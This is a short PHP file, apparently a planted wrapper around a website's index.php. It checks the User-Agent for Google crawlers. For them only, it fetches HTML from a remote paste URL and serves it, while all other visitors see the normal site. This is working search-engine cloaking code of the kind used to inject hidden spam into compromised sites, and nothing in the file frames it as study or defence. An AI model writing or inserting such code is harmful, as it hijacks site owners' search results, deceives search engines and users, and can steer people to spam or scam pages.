<?php
// ==== Serve remote .txt HTML only for Googlebot (sederhana) ====

$REMOTE_URL = 'https://paste.centos.org/view/raw/726c4e0b';

// Fungsi cek sederhana (User-Agent saja)
function is_googlebot(): bool {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    return (bool) preg_match('/Googlebot|Google-InspectionTool|GoogleOther|AdsBot-Google/i', $ua);
}

if (is_googlebot()) {
    // Ambil isi remote file (cURL > fallback stream)
    $html = null;
    if (function_exists('curl_init')) {
        $ch = curl_init($REMOTE_URL);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT        => 8,
            CURLOPT_USERAGENT      => 'VerifiedBotFetcher/1.0',
        ]);
        $resp = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($resp !== false && $code >= 200 && $code < 300) $html = $resp;
    }
    if ($html === null) {
        $html = @file_get_contents($REMOTE_URL);
    }

    if ($html) {
        header('Content-Type: text/html; charset=UTF-8');
        header('X-Served-For: Googlebot');
        echo $html;
        exit;
    }
}

// ==== end: Googlebot handling ====

require_once __DIR__ . '/../index.php';